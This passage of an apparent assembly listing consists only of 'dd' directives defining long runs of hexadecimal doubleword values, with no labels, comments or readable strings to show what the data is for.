0A75C91F1h dd 30B20892h, 9A7108D6h, 6C2C74FFh, 508ECB4h, 0F40132Eh dd 2196EFD4h, 0FC7A7674h, 0E875A713h, 476F3A00h, 9A8F932h dd 586705B9h, 0C06B73E7h, 0A2BC9B8Ch, 806C995Ch, 139D88E5h dd 225B7C48h, 4D03636Dh, 0E287336Ch, 0F3DDF010h, 990E619Bh dd 0C0D79C8Ah, 34026C15h, 99AD584Ch, 0EC086338h, 0A433CC8h dd 0B6ED5F4h, 6B8600AAh, 9C7A28C3h, 0E00020B1h, 126EBC40h dd 4A1B001Fh, 7CB02806h, 0C300BF31h, 0DC6782A8h, 0E4697348h dd 0B1B2023Ah, 1D234935h, 0C2AC98A2h, 605C9CE1h, 6B5F5D88h dd 0E1577C40h, 47030D5h, 0AEDD2803h, 0EC9EC0DEh, 6858F47Ah dd 92732EC4h, 0BC907217h, 69FA9462h, 1802C154h, 802E6C99h dd 740D12DAh, 3FBC9C55h, 0D2334A82h, 904882FFh, 900B24Fh dd 0B31CDF72h, 23AB98Dh dd 4720199Fh, 0C8419A2Ch, 0AA3010B4h, 4A89002Bh, 6804F10Bh dd 7001172h, 0A751285Fh, 2D3879h, 7E577D63h, 3C90395Ch dd 2E6F9E07h, 0D860EC8Bh, 8EAEC8h, 363A0C49h, 695C82DBh dd 59E9570Dh, 5F1397Ch, 0F01900D3h, 0F6A9EBAEh, 21C74264h dd 0FD1045D3h, 3025E8h, 19CDF0B2h, 0AB071F3Ch, 20D11A00h dd 7CF7FA09h, 2C5650E9h, 12E600F0h, 0D18B9AFh, 0FF069FC4h dd 85E85D24h, 76D60071h, 60CDF1AEh, 91308937h, 0A8C6898Dh dd 150202A4h, 16663B7Bh, 0E8389360h, 5C73DC28h, 0BCAB023Dh dd 9CAE80FBh, 9FA9D8B2h, 0A69E18EBh, 877E48D7h, 5FEE8698h dd 3BE97A00h, 0BDC380Ah, 1E2E03AEh, 0C8F25DFAh, 80DF911Bh dd 0CC0BD81h, 38BA854Eh, 0E8044C18h, 0C4E96FE5h, 0DB400FF0h dd 5FA63118h, 9D3A71C0h, 7A74E3h, 0A1FC1DEEh, 13BC4ADFh dd 0FE0F9898h, 0A0151AC4h, 31D04793h, 0FF3729E3h, 5D1F03C0h dd 11005BF3h, 0B0381649h, 0C1CEE583h, 46F8DB61h, 0D7086039h dd 8308E79h, 878C31B0h, 0A8593B6Ch, 2BB51800h, 5EB1F352h dd 0E55D250Ah, 0C002C57h, 70EBE9C6h, 9C0700DCh, 1C31DB20h dd 2173D38Dh, 0D79F29C0h, 1CFD88Bh, 24F385FCh, 401E4EFDh dd 73AAB638h, 9ED5A70Fh, 7768C05Dh, 7089B17h, 6F3101E5h dd 8BEAC3F7h, 98E03129h, 0BA9BC500h, 267797D0h, 14C2423h dd 6A9C91DAh, 0DC1450D8h, 2600F077h, 0B13220Dh, 0F482D7h dd 32FBAA7Dh, 6DC40C48h, 5BE8E018h, 0F288FE30h, 70EA8Dh dd 0EAA1E19Dh, 2C142802h, 89B60830h, 864A1Ah, 6B346430h dd 0C7904E41h, 0DA7EB00h, 11B11C6Dh, 7F0830D1h, 2971B531h dd 5A0FF507h, 0A6F24B6Bh, 0BFC8A05Dh, 28F734h, 270A0BC8h dd 0F85AF507h, 0E13BDE00h, 0D890701Eh, 0EB6F049Ah, 89DBE9E3h dd 6AA9D860h, 9184420Ch, 3BE5F181h, 0A084CA02h, 82ED5EC5h dd 272066D4h, 9076239Ch, 1C7B4494h, 0AD41AA03h, 686307h dd 37FB3B29h, 6F189555h, 480F5203h, 0A0158D16h, 371F5338h dd 0A8E00C66h, 0C0F8C580h, 1D6CAEBEh, 42AE019h, 804B917Bh dd 35B7040Ch, 237B400h, 0FF18AE56h, 0DDDF986Fh, 86818071h dd 0BF2E1E77h, 0B48A4B00h, 8C724C4Dh, 0BA8800F0h, 452AFB3Dh dd 812600Eh, 0F420E07Bh, 3B61CE7h, 0E61DB934h, 2A0413Fh dd 0AA031474h, 1E97379h, 36690D7Eh, 0D439640Dh, 23041A3Ah dd 0E080DE1Bh, 785DC88h, 0CEF4819Fh, 0E2D3506Ch, 91377A2Ah dd 0F2702183h, 6F8D6h, 67D3B83Bh, 0AEA8494Eh, 727E9424h dd 906E003Bh, 9EFA2DE9h, 0BB6B03FEh, 0EBBA3ED7h, 7880395h dd 849529BCh, 0B9A040FEh, 0BAE765B5h, 24218500h, 72DA337Ah dd 0E0E918CAh, 0EDEBC170h, 1DC1F3Fh, 5A2621CCh, 83FAE993h dd 0E099EA10h, 4A73EDBh, 8A27AE49h, 0F5F0CC4Ch, 8CE24300h dd 44EAA93Eh, 1498E8B0h, 8C323639h, 6C610C80h, 0D24968B2h dd 211E2C50h, 92C01C03h, 0F9AFB0E9h, 60CE6F87h, 60E470EAh dd 4635694Ah, 45EAD703h, 0A8AD7799h, 0F21EE66Eh, 0D6473A59h dd 40F063A6h, 0A4B1983Fh, 9900D8FAh, 94BF476h, 0DE79BBh dd 19E16850h, 0B108650Dh, 419594A8h, 0CC6E7305h, 7F805AF3h dd 17AB99A5h, 11DEB41Bh, 0F18B0B1h, 727CA064h, 962E5D03h dd 40632Fh, 4FC87679h, 539B8C0Eh, 0EACA4B09h, 0A201803Ch dd 493A4C55h, 0FA0B5CA1h, 0CB80AEF2h, 0D09F67BFh, 8C8CF0Ch dd 0F491C7h, 0B290DA01h, 9740DD49h, 0E835D90Eh, 471200E3h dd 0B89420CFh, 0E8117E36h, 928E2CF5h, 0D3250043h, 0D275E99Fh dd 0D5E0CA15h, 30330FC0h, 0A9C07F28h, 0EF09F552h, 744F0043h dd 6BB48CBFh, 0D600739Dh, 7630DB3Ah, 2943A57Eh, 1D8FEB2h dd 2B13EFAh, 0DC119ED9h, 0B218A613h, 6D8B11h, 829C4C9Bh dd 9F2D4E1Eh, 51920103h, 2C650637h, 2AC2F89h, 7BDB5EB9h dd 0FA953CC0h, 0BE0DB300h, 12007EAh, 0A8B17330h, 2B1F34h dd 0C729941Eh, 6F24B09Eh, 0E7608C01h, 0F8012738h, 181DB830h dd 6983E08Eh, 4008A5Bh, 304B7D4Fh, 11EACC0h, 27FAE80Fh dd 70F770A2h, 93000297h, 0C14EC79h, 0EF06366Ch, 18B441A8h dd 11D4E05Ah, 73001667h, 0BD939B70h, 3C224548h, 0A9009ECBh dd 0BE17024Ah, 90C04989h, 46AA063Eh, 0A7DF89Ch, 3B26DC0h dd 202B47A4h, 0E60B3549h, 0DC5C0E1Eh, 2870E07Ah, 20271D7h dd 5D81639Dh, 0E4AFF0h, 0BAEF44h, 8B909824h, 18BD9DC4h dd 9BF6E300h, 3BE7B1C8h, 78D3013Eh, 0FE5D2CFAh, 12044BEh dd 0F8A61664h, 2BBDE032h, 0E57A1B00h, 0DD3FED93h, 0C88500C2h dd 0ADD8876Ah, 0DAE9362Ch, 0D6BE1C80h, 0DB3B2684h, 459A05F7h dd 708891BFh, 0C7BA032Dh, 0C6059958h, 0F27A50D8h, 0FFDF6800h dd 0CC54AA18h, 0B073EC95h, 1CF899C8h, 38C29B2h, 8CDF2C29h dd 9B7C7102h, 0C0943A6Dh, 0C97AAF1h, 0E7E937E6h, 859A621h dd 2F4D0140h, 0B7078DFBh, 76E22AD4h, 951F1FB0h, 433680EBh dd 6315604Ch, 51797F63h, 833DD9CBh, 6AE0C33Fh, 0F8481900h dd 668C11A9h, 2FAB033Bh, 35633999h, 427A2100h, 74D748F4h dd 2977008Dh, 28986FACh, 8B00A36Dh, 1D51DB65h, 1CD07F0h dd 0E9887684h, 61EB2825h, 0A9CC400Ch, 0E022DEF5h, 68470082h dd 3827EDE2h, 8404B36Ch, 14CA4C9Dh, 199930C0h, 0B4895D70h dd 1CC60BC0h, 0FA003943h, 0D88FBBFCh, 4887188Bh, 8980F891h dd 0B61EF258h, 62C58800h, 0E056F451h, 5ADF01D2h, 9984BC77h dd 3124C383h, 8E11187Eh, 0CCE5B214h, 9491BC81h, 8698702Fh dd 7C39B288h, 78884CC4h, 11E88E02h, 0EC99E95Dh, 632C4268h dd 340BE464h, 86BC32F5h, 24A880h, 0EFE7A63Fh, 62985576h dd 0C401FF04h, 3C89EA36h, 0C50070h, 4A8FBCD2h, 735F3A13h dd 58206CD6h, 125FF9Fh, 1190EBBBh, 80B21EBDh, 5AC05489h dd 0E98F717h, 0ECB16E99h, 1CEE1927h, 42002C61h, 4860742Dh dd 954C56h, 911FDF86h, 513A3307h, 8379B404h, 88871C39h dd 56E98BF8h, 0FC819012h, 437258E8h, 18E2DE48h, 3A78AE0h dd 0F005492h, 0FB06C9A9h, 1CA0E716h, 4C1190Ch, 88DF46DEh dd 7A00B308h, 8FD7C6D9h, 0B07FFh, 13333B20h, 0D44C7F31h dd 6909B418h, 4EE3FE1h, 5E68FE0Ch, 893080BEh, 46E852C4h dd 0AD61D600h, 1A6FDBC7h, 81E10056h, 0B1E43F4Ah, 92E69EE9h dd 0BC2EBA09h, 0E040481Eh, 47C938ABh, 59FE7380h, 31561F27h dd 0EFE21400h, 3BFF6FE5h, 9B980032h, 18D6914Fh, 45711BAEh dd 0C1245890h, 7460A8F0h, 0E6A595FAh, 7B6F0D40h, 20EE200Ah dd 4D2E108Ch, 0D967B886h, 0F903D160h, 0CD125898h, 87CB624h dd 0AA925C02h, 10003813h, 7334A033h, 83789180h, 0E09F9517h dd 260E7998h, 3E776600h, 5E444C02h, 609307BFh, 70FF7EF3h dd 42C79C45h, 0F0141B74h, 1FF0B24Eh, 0A616EBD4h, 0CDB06820h dd 7CA97612h, 5CF15881h, 9724B707h, 0C814F687h, 2751FF09h dd 3DE4A0DDh, 0DEDFE9B2h, 0FF364B41h, 0B1282830h, 3FD3393Bh dd 0C0A05C9Bh, 0D06CCD12h, 8DC30061h, 0D6F33829h, 5A542120h dd 0B21F7FCCh, 9EC7E855h, 5E50AB82h, 97334Ch, 0C9D5C528h dd 0D86C9B13h, 0FCDD8800h, 37460F81h, 0DB3B02FAh, 29F37F33h dd 0B725EBE0h, 92C62D38h, 94200949h, 2C1B582Bh, 12CE793h dd 0FAAB7AC1h, 95F84056h, 0BF04C0E8h, 0B2D837DAh, 8A4C808Ch dd 0A8005CC6h, 0CB6DE0D5h, 0D176E2h, 269E03A1h, 8E538BF4h dd 6356EB0Ch, 753934h dd 4C1023D6h, 46639C9h, 0FB400B02h, 6469B27Ch, 0B45D2778h dd 86D71012h, 4480E227h, 2133666h, 4037040h, 0F881BC4Ch dd 0FB4B6ABh, 76B1E315h, 91E1AE8Eh, 0E4ADF4D0h, 127E979h dd 8098116Ah, 2C811816h, 0CC50718Eh, 0F63E3541h, 8047CE5Dh dd 8AF09402h, 7F3F3Bh, 49B7B2A4h, 0DBE9706Eh, 2F040C99h dd 0C8B5A75Eh, 85B4F0h, 40A39B0Eh, 978EE79Dh, 0D9263CB8h dd 3F0474F2h, 98CC6BCDh, 1A343833h, 4F9FA480h, 0B8A116BDh dd 191B2500h, 85317B53h, 3CE04CE9h, 0CF302C0h, 68A00537h dd 810436FFh, 9E9B9E3h, 0A0CCF488h, 1541EF8h, 44988812h dd 708168EEh, 3473DFA1h, 460738B9h, 0F954A65Fh, 0E184E383h dd 62748251h, 35DB2628h, 7A5B11FCh, 0F8A133Ch, 806270D7h dd 19AE7C95h, 0A4F0E1B9h, 79411CF1h, 64A42637h, 2B192159h dd 5C0FF020h, 0CC80E4DFh, 0C882E2A6h, 0C1D8BF00h, 0A7B23B14h dd 789404F7h, 0CC75ECB6h, 6E002788h, 44B54082h, 60DC3756h dd 9420497Ah, 1D003FC4h, 0B7C5AB88h, 0CC58F25Dh, 0F8788F39h dd 8A14C274h, 0C8B08Bh, 0FAFCAB09h, 131C4810h, 0D091A0EAh dd 61940100h, 0C36AF01h, 604B5226h, 135FBCF4h, 90E0D1A8h dd 371FB19Ch, 0F09D9702h, 0C6E4B262h, 0BA0905E4h, 805DC0AFh dd 8390276Ch, 0EA00117Fh, 0D81E57F6h, 2C73F49h, 55AAD747h dd 602EB409h, 0B0AB79CAh, 166C26C8h, 0DC0501F3h, 0ECDD182Ah dd 3EEE3F32h, 0BC1EA200h, 0A117AB23h, 0D0412C78h, 4980094h dd 6CE70301h, 491664E8h, 5C02CD0Ch, 6408D8C2h, 7EB073Ch dd 7F9C4199h, 9F92560h, 0E8003B4Dh, 0F3DECAFDh, 46B5DA8h dd 7AC50D88h, 0C834A491h, 8308C900h, 10641970h, 17A30FD8h dd 3960E096h, 1B6F05C2h, 0A729F07Eh, 0DE80ACB0h, 7B0FF3D4h dd 0A03A009Ah, 0B3522438h, 310092D5h, 4E32FE48h, 966B0CB7h dd 30611330h, 55776040h, 80FF423Bh, 8D65AD8Ah, 74CD8848h dd 4BC601F1h, 0F0EACC0Ch, 49096020h, 0AA26270Fh, 83EEA9B4h dd 0D2AE46E8h, 2E3C6097h, 70DC98A8h, 0D53A1C11h, 960D43B1h dd 10B1C11Ah, 0C2483045h, 10702D2Dh, 4DBD3ECh, 365EE025h dd 3088F532h, 0DE099CEDh, 10096E40h, 325D98h, 0FB0ED844h dd 0C83D9D3Ah, 0A900F1F0h, 6E787C65h, 7D04DB27h, 0E85D18B8h dd 1C87396Ah, 0DE177B02h, 900946D7h, 3DAA0680h, 0EF80FAC3h dd 0A080726Dh, 0F500DC54h, 7AB7D005h, 989A2256h, 6D320B6Ch dd 9C000D5Bh, 9CBC0ECFh, 1D129C98h, 5D138794h, 0D3892005h dd 0D7E0B020h, 0C2B8003Dh, 14AA2BCCh, 5300FC39h, 8C894918h dd 0F622E9h, 657CF45Ch, 6D0E16DBh, 478820Fh, 80E00F60h dd 994D1211h, 622D0E44h, 7880E71Bh, 16EB0CCEh, 186F2430h dd 6F83BCCDh, 7748EFh, 0EEBB9A5Ah, 3B007434h, 0FFB70E15h dd 60FEA821h, 2D655857h, 8F016AADh, 0E8086F3Ah, 898FB0E3h dd 0C920B61Bh, 0D1F10C9Dh, 0EC385300h, 683D693Eh, 609A9855h dd 204040C4h, 580BB55Ah, 802FBA5Eh, 8C569124h, 0BECC0C0Eh dd 3BC99C29h, 288F5A00h, 0DF912DEEh, 92E8D1h, 9A79CE16h dd 0BF49176Dh, 118FD52h, 0DC2331A1h, 98BE8E63h, 0B283FD01h dd 0F16058C8h, 3B1BE62h, 0A8AC57FCh, 501107D9h, 0F102A39h dd 0F6C1DAC0h, 3E16724Fh, 0E050198h, 9C1C755Bh, 0AFDCE880h dd 63D5F2E6h, 0CD7951F5h, 7628790h, 3F9688C0h, 315CB78h dd 0ED55827h, 0A90FF5B6h, 47E5A066h, 1920C2A3h, 0FCA637BCh dd 4050ADCh, 40CCBDE2h, 85EA7811h, 0F3943500h, 4CDA1348h dd 16C720Eh, 70803C5Dh, 505816D6h, 0B4A7DCD0h, 99CA44CCh dd 30AD00DAh, 5BB3328h, 84003281h, 37A35363h, 0FBA3F64h dd 0D3835538h, 9AA1F4ECh, 92AA6F00h, 6DFA8D62h, 5C0B0022h dd 0A3286135h, 28909327h, 83142C3Fh, 0CDF35F9Fh, 0BF710CF7h dd 5497F2Ah, 0DA803A15h, 999C00B0h, 0AAEEED6Dh, 0AFF1006Ah dd 5510BE3h, 8C009FC6h, 79E1A175h, 3EC30A14h, 0E8D0D690h dd 0B611042Bh, 814733E2h, 816C233Ch, 1AA4E580h, 97302415h dd 69B16097h, 4ED9F40h, 214BF602h, 629A8144h, 94FC10D4h dd 8E5A3F35h, 38010070h, 7F5B04C7h, 0DF54BD8Ah, 2E0312A4h dd 0D2ACFFB6h, 0AF9D80EFh, 354855h, 0D4F5F209h, 1091C010h dd 0D7EDFF14h, 0C068C3A0h, 0A201A80Bh, 0D27D01B7h, 69F1B99Dh dd 0AC34C403h, 0E7B548C5h, 0DCD8D430h, 5A600775h, 67C84A6Eh dd 4D03CEA7h, 2C9801B6h, 0A1140533h, 22F0E60Eh, 0E75904F6h dd 806CB186h, 57BF50E3h, 3B896160h, 18A8FDACh, 31E2E305h dd 19008250h, 962B11E1h, 243112A3h, 80388AB8h, 0AAFE9105h dd 8CEAD6C2h, 2B093201h, 0C5DE82E7h, 18F2B2ECh, 31D4F35Dh dd 0D75481DBh, 5303F0ACh, 0B38F5E4Ah, 0F9CCD91Bh, 0B06E0DF4h dd 0C861489Bh, 0A53C5C83h, 430474E9h, 0BDC0DFE4h, 6099B60Ah dd 3ACDC202h, 0F5D40F7h, 0FE24065Dh, 30D79045h, 0F3221505h dd 8408B918h, 82B80CBh, 36F605AEh, 0F28E5400h, 0DC32C6C1h dd 0B8706D8h, 4045D615h, 5EA2DD12h, 60D7CC00h, 88F205E7h dd 6A0F3EB4h, 2096DDA9h, 4DF7C378h, 1801000Dh, 39246F25h dd 1C4CD68Eh, 9C48088h, 5AE794h, 0C6ECDC86h, 0A3AF27B3h dd 0F2AE5309h, 0D31413D7h, 0FB8EC122h, 98410AE8h, 0BD5D02C4h dd 0E3E7C262h, 0E8481480h, 0A7F274F6h, 3719CB00h, 0AFBBD325h dd 35CC008Eh, 0DDE4C75Dh, 0AD00EF93h, 90BC78C2h, 269D9BFCh dd 42C85BF2h, 6C830EBFh, 0B10555BCh, 7A69C8D4h, 0C6B2280h dd 52590151h, 32978A9Dh, 0CC63D85Bh, 88DC4D0Ah, 6E81D8AAh dd 5F8E117h, 0E32E6032h, 0FA890030h, 4FF3061Ah, 855A3709h dd 745B05DFh, 8162F804h, 0E4BC2743h, 0ADE65FA0h, 87F63D64h dd 0D0762093h, 1A222Ch, 32092893h, 72159057h, 33F9C300h dd 0D6BCEDD3h, 7D7B22DCh, 0D8F2B40Ch, 14E4E9F8h, 0A80D59FCh dd 11F48324h, 2E6E0780h, 0B7E1C3A1h, 318008E2h, 3791986Fh dd 21088D9Bh, 80D98117h, 0F83F229h, 0E40059BEh, 0E075ED6h dd 0A714F87h, 0ED76DFF4h, 0CEB51F90h, 0D7A421B8h, 5A40C22Fh dd 0F5BDBC60h, 0C4B9AC2Ch, 886C5360h, 0D8214893h, 1AE3F5C0h dd 6D53C8D8h, 667D0084h, 6946CE02h, 9E4300A4h, 765E3C3Fh dd 6E00A6FAh, 5A1D81D9h, 4C33F3E6h, 8F301690h, 0DA73D7B9h dd 0BFEFF0A8h, 0DCB51F0Ah, 3478477h, 0E2995CD0h, 0D258160Dh dd 0AEA803CAh, 0B80039A3h, 91785221h, 9010FECCh, 561C3550h dd 0BA980351h, 0E84840D8h, 80784CC3h, 27CD6160h, 9F2D0h dd 2F843522h, 0F2E1AA52h, 29FB0234h, 0AC4DCC00h, 5CBEC1D6h dd 0B8002C37h, 6FFD5635h, 5379D381h, 8D453890h, 0F859FF0h dd 5AA9BADDh, 84621084h, 793C81FEh, 0C8E513F8h, 0C19B022h dd 50460D6Fh, 0B264810h, 44037C3Fh, 2C5E6C2h, 0AB198670h dd 30C00AD6h, 9109D4DEh, 909E5F5Dh, 0FE7FC4F8h, 8E47000Fh dd 4B6CD6E3h, 5B3D54BAh, 5ED3A96h, 0B316AA7Ch, 9CE8B01Eh dd 0F6E8CE64h, 0E1CC7947h, 20D152D3h, 28AFA50h, 46AB7A18h dd 63E800A8h, 8D41E4DFh, 2209D251h, 206224BEh, 0E9A4F21Ch dd 25070F27h, 800B724Dh, 2480B013h, 90072D86h, 0F3A5D62h dd 0BE3B6D80h, 7C61C032h, 6E194316h, 305AF32Ch, 99B60641h dd 9D37218Fh, 0A39F5000h, 85054487h, 3FCA4D0h, 0F2BB4C80h dd 81C5445Ch, 8959EC60h, 9FF6C6h, 2974F510h, 0C919A39h dd 73509D01h, 54B85731h dd 0A5B1A850h, 0BD37209h, 52059B88h, 0C01F9C05h, 0F4C24EFCh dd 59DC0650h, 886C4Ch, 0EAACD1B9h, 1195F0C8h, 1F6E2EDh dd 1BB5C90h, 0DC6039C7h, 6FD5028Fh, 0BC982751h, 0F200A044h dd 15FA8B4Fh, 0F92218Fh, 7031F8Dh, 90E657E0h, 0EC0213E5h dd 0D912DA3h, 0A4286149h, 5117D710h, 0E105B9D6h, 94409704h dd 75A19A7Ah, 411D012Ah, 0BEF80F4Fh, 0A734301Fh, 0A9E5DD16h dd 0EAC701EEh, 80C625BFh, 58120539h, 4C2E690Dh, 0CB803097h dd 1ECE9AFFh, 45311F00h, 8959A6CAh, 707C008Ah, 29158DF3h dd 9D600518h, 0FE25FA49h, 0E7B6005Bh, 0BBE66FC1h, 0F224942Dh dd 0D14184CDh, 3180F104h, 4802FF53h, 0A100425Fh, 68AB02Dh dd 0F950E3h, 0E2B3F678h, 8008672Ah, 0A524E4EAh, 38201C30h dd 4000548h, 117E515h, 0F8145480h, 21986004h, 0EB02FADAh dd 8DA14400h, 645A121Ch, 0EF2907EEh, 0D7E56F18h, 80056102h dd 0B94080E6h, 0A922A819h, 0F35C24F8h, 8CBF6498h, 80003B58h dd 794A5DE7h, 9AF30488h, 37781C68h, 0C4F102EEh, 6C601B56h dd 9C6052E4h, 103B47A8h, 0BDF61535h, 0C612E04Dh, 4550041h dd 2990AC6Ch, 5C0D070Bh, 9A71015Ah, 9082028Bh, 0E04663E5h dd 304A83E0h, 27BE350Dh, 9C228A86h, 36765403h, 13D8119Dh dd 30E1335Ah, 5C888EACh, 6C4904Ah, 803A0A79h, 0D70719B3h dd 0EBD35D0Ch, 9B763190h, 3499BCh, 0C3C4CCEAh, 0FB038053h dd 0ED2C3ABBh, 52A7D8A2h, 0C20402E7h, 6D36250Eh, 3FDC2340h dd 238F68B1h, 1030B2DDh, 48E8DADh, 0A1C398E9h, 1600EAB7h dd 0F13761CCh, 71CEC095h, 0D822B8FCh, 0E2F2E90Ah, 0CF9FC0BFh dd 4D08C700h, 1118C67h, 542280ADh, 3071BAE1h, 6809BCFCh dd 10B60D23h, 1D604488h, 40A89B39h, 7496CEACh, 2E091778h dd 84675DA4h, 0CA7C838h, 0A1493600h, 41FB0F18h, 71A89700h dd 0E55C4283h, 16C63B45h, 0D6306C3Eh, 76479231h, 0FCA6C200h dd 0ED1B96EAh, 9720987h, 4899E781h, 0BE2FE4E2h, 0BD674400h dd 0B621CADAh, 90D070D6h, 2A304BEh, 0C37AA43Ah, 2085BF88h dd 0F95AF29Ch, 6E09A9DCh, 25B8689Eh, 0FCE502FAh, 0BF805621h dd 891FD051h, 0D6A56200h, 0C8B463h, 0CC5C9D18h, 0EB59AF48h dd 0E77F0D16h, 0F60EC006h, 0F9BC3069h, 0CE82F559h, 0B5E30D00h dd 261F5BDDh, 3C1951A8h, 88AA4820h, 0E350E73Eh, 4A00C23Ch dd 32F54D0Eh, 60ECE5h, 0FB973DE2h, 0DF8D5225h, 0F50830E3h dd 0E765AC91h, 0B0DD88Ch, 0B2D1142Fh, 81119401h, 9D2980D5h dd 33FF2A80h, 2BDC0094h, 5AE7EF27h, 6CF0612Ch, 0D420AB45h dd 15630A14h, 4FA0D8F6h, 1816BB03h, 7EB48095h, 4C12AC7Ah dd 0FCD09732h, 310A4C4h, 0F14126FDh, 24C0A848h, 0E40387C5h dd 3A4B2834h, 0BD0EE886h, 76960014h, 0F2AFDC03h, 0BF2CE616h dd 0A5097027h, 0B56803A7h, 9B44D85Ch, 0D05A5331h, 349BA03h dd 98A3D3C3h, 2C766A98h, 67FE83Ah, 8C0818DCh, 0D7DF0940h dd 0C82BDE72h, 8BC60C90h, 60851800h, 0BE5968C1h, 7C9C4033h dd 0F5E60700h, 51A7AE20h, 0EAE5266Eh, 5A3B001Bh, 0E227FCA0h dd 0FA49BC60h, 2F69C5Fh, 0E74DAB35h, 37E0AD70h, 0C10031B8h dd 69E9C939h, 4CBE62D6h, 19800CB7h, 0AC4AC31Eh, 583CB100h dd 0C0D150Ah, 6F0F1FBDh, 1E934017h, 5D65864Ch, 0B04590B0h dd 0C323C0h, 68350132h, 489B1A4Dh, 0EE95D502h, 0C480D3A4h dd 0B1260140h, 2F8B72A9h, 0AA8CD8DCh, 0F90286E0h, 6B080F47h dd 14FC401Dh, 0BE7910B2h, 48BC8928h, 0F30608h, 92E35F19h dd 0FC22C39Dh, 49175D17h, 0E1E5C400h, 0B3C8877h, 163E7D80h dd 0FF19C87Eh, 0D84D6549h, 0CF74E8h, 0A81BCE47h, 0DC71D5AFh dd 1C0709Fh, 978FD7EAh, 60EF123Bh, 0F801AC1Ah, 92475BFDh dd 4708C0Ah, 1EC602CBh, 3390ADCAh, 0FC00C066h, 6AAB39E3h dd 6084FD71h, 4E05986Dh, 1712A830h, 88D0BD94h, 4A9160h dd 53D9541Eh, 84266F3Ah, 27F0FE00h, 0F2F6B2FDh, 0F8DA58FBh dd 8848BE13h, 0A50026A4h, 3346AE78h, 12899C8Ch, 0D080F663h dd 0D5D993E4h, 0C6D81117h, 32EEE803h, 1EBAA048h, 80745Dh dd 16B20AD6h, 794952F5h, 7DFC0403h, 0B93469F1h, 5450A3DFh dd 1D638CC8h, 80CEA4AFh, 0C386FAC6h, 0B70075EEh, 3274A303h dd 6079ED9Eh, 0B015F08Dh, 8B4DBC9Ah, 965830h, 0F11BF5D4h dd 1EB678E8h, 1FA2FC4Eh, 1225606h, 5EF614A8h, 846040EFh dd 0F300789Fh, 4C1C200Eh, 25A1628h, 12679471h, 0A840B86Eh dd 0AC991385h, 56C5C600h, 0B3401Ch, 5AEC9A6Eh, 18E4A4B6h dd 9FF4FF01h, 634C6A3h, 1F8070BDh, 2E6D7F80h, 430716Eh dd 4CBE49CFh, 74920711h, 0B07DBCB5h, 0A89AF6Dh, 438BF702h dd 0C00710F2h, 0E9F34AE4h, 0C924BF0h, 2585999Fh, 4898C010h dd 0D90CE4F4h, 0D982BDADh, 0D2EE3A51h, 8976DF00h, 36A7A0B0h dd 0F8C50424h, 0E4009B11h, 22BB019Ch, 0E9046056h, 0C7B75B74h dd 18D640D1h, 3DC4886Ch, 4404C3D0h, 0B9FAC0F3h, 800148E6h dd 0D35BE1ADh, 30400475h, 5C97698Eh, 1502C0FEh, 0F129B024h dd 578408C3h, 2F468020h, 9E40003Dh, 67093B29h, 5B5AF2CBh dd 140FB83Ch, 248616A8h, 1100B022h, 84EE3D26h, 6FD2A7h dd 0AA8BB8B2h, 0C8407B74h, 70E1FCB8h, 149605DCh, 0C687A98Ah dd 4D9E7200h, 66E6725h, 0D8F2B7ABh, 0A84C59CDh, 0B6F082F4h dd 581F6077h, 5E6D0087h, 9ED785A7h, 56189628h, 0E9C38EDh dd 4852FE58h, 94C050A3h, 3E685611h, 613F421Ch, 0FF104943h dd 818D980Fh, 477801C1h, 0A1A7B56Fh, 34BC7002h, 985AD606h dd 0D2F89ED9h, 0FEE830BAh, 2000B842h, 0A321126Bh, 11FEB63h dd 0E660885Bh, 41ACDD9Eh, 0E08F18A8h, 0D03EAE2Dh, 5CA8AE98h dd 9F2E9340h, 774CF04Bh, 0F3EA005Ch, 5B263972h, 78262780h dd 0EB000CE7h, 9FDE5A3Ah, 0E3E230F1h, 0D5C42681h, 9533A200h dd 4DBB4CD8h, 0A1A609E6h, 386419D6h, 0FF487F78h, 0E65A8018h dd 636186Bh, 0E24A243Ah, 0D20051C9h, 25AB816Eh, 3FCC69EFh dd 158084A1h, 0E74AB497h, 2200FDC9h, 0F505FFBEh, 5F352E10h dd 25100364h, 6D92AB31h, 3BDFBC40h, 0C621AC00h, 0FEFA10EAh dd 0ED203A0h, 0F47BB903h, 70A4F3F9h, 54A01DA5h, 6E0040ABh dd 1224B923h, 5018133Bh, 783CA094h, 48B1F478h, 0FB220C9Ch dd 9F031605h, 0ED0091B3h, 57FD5CD4h, 7ED8E5B8h, 40804EC1h dd 0E71308F8h, 630968AEh, 10FDBE30h, 0B95EF240h, 8056906Ch dd 0A592C016h, 0C58000B9h, 0BCE685FDh, 0DC118D2Ah, 7C8E62h dd 68D8225Dh, 0F41652A1h, 78FC5000h, 9703B917h, 44A49072h dd 120279F5h, 764E20D3h, 10E4BCh, 90C12C7Eh, 4B2348EFh dd 0EEC93E1Ch, 0DD794F40h, 67821B6h, 0A8E516DAh, 0AA0379B2h dd 386EF85Dh, 15F5F8D7h, 0F28E2CC9h, 88C01BE4h, 0ED829CBh dd 0E5256667h, 7DE0A005h, 7E4710D9h, 59FA00A9h, 4985F96Dh dd 8D00B1B7h, 5A5B232Ch, 99D6F361h, 0D2B800D4h, 0A8C1AD63h dd 0DC60724Fh, 0B8E5EFEBh, 0C6410758h, 0C0CB3527h, 0D3491005h dd 32E77100h, 0BFC3F415h, 0C187E3A8h, 80A614BEh, 228089A3h dd 317C1D16h, 0DC3025A8h, 34D4FE61h, 1125CE01h, 66E63AF3h dd 708733F8h, 20BD4A58h, 0FC46427Ch, 99B9B500h, 0A287E367h dd 4C295CE6h, 34B89C1h, 0B47DD817h, 9490A9F2h, 9FA79907h dd 0B041B9FCh, 0BBD88780h, 7114170Fh, 0A7CC0CFh, 273CBF9Ch dd 6DA20F4Bh, 8C7CAE24h dd 241F1817h, 43C8E325h, 0C2D17D20h, 0F477D087h, 0CCB88E07h dd 59E7912Dh, 0B2C48459h, 90BA9082h, 7A5C260h, 8667351Dh dd 30387724h, 0FDD3323Fh, 16086F00h, 0BEBD7EB7h, 17F099FCh dd 0E9088F2h, 81E5A818h, 0C0BDE211h, 40C05D19h, 5175A005h dd 0D118EB00h, 32B355F3h, 400096B5h, 0CE1A81C5h, 0FE1E0A01h dd 0D90382C2h, 6766E4h, 0C937F506h, 0FCF7A6E7h, 0A8098608h dd 4B8D80B3h, 0F2C08A79h, 0D7667009h, 0F934921Ch, 1480A584h dd 6F030188h, 7A0E400h, 44CEA60h, 0C87A0310h, 0DB8036E9h dd 5035310Fh, 0A6807F8Fh, 5CFB85E7h, 6E460215h, 1219C65Dh dd 39CC79h, 0B91CC9F5h, 0D847CBh, 38C43208h, 25865517h dd 0CCD99900h, 317D80EDh, 